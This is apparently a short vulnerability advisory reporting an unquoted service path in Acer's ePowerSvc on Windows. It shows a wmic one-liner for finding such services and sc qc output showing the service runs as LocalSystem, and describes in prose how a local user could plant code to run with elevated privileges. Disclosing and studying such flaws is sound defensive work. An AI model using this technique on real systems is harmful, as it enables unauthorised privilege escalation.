38 lines
No EOL
1.5 KiB
Text
38 lines
No EOL
1.5 KiB
Text
# Exploit Title: ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe' Unquoted Service Path
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# Discovery by: Emmanuel Lujan
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# Discovery Date: 2021-05-22
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# Vendor Homepage: https://www.acer.com
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# Tested Version: 6.0.3008.0
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# Vulnerability Type: Unquoted Service Path
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# Tested on OS: Windows 7 Home Premium x64
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# Step to discover Unquoted Service Path:
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C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
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ePower Service ePowerSv
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c C:\Program Files\Acer\Acer ePower Manageme
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nt\ePowerSvc.exe Auto
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# Service info:
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C:\>sc qc "ePowerSvc"
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: ePowerSvc
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files\Acer\Acer ePower Management\ePower
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Svc.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : ePower Service
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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#Exploit:
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A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other
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security applications where it could potentially be executed during application startup or reboot. If successful, the local user's
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code would execute with the elevated privileges of the application. |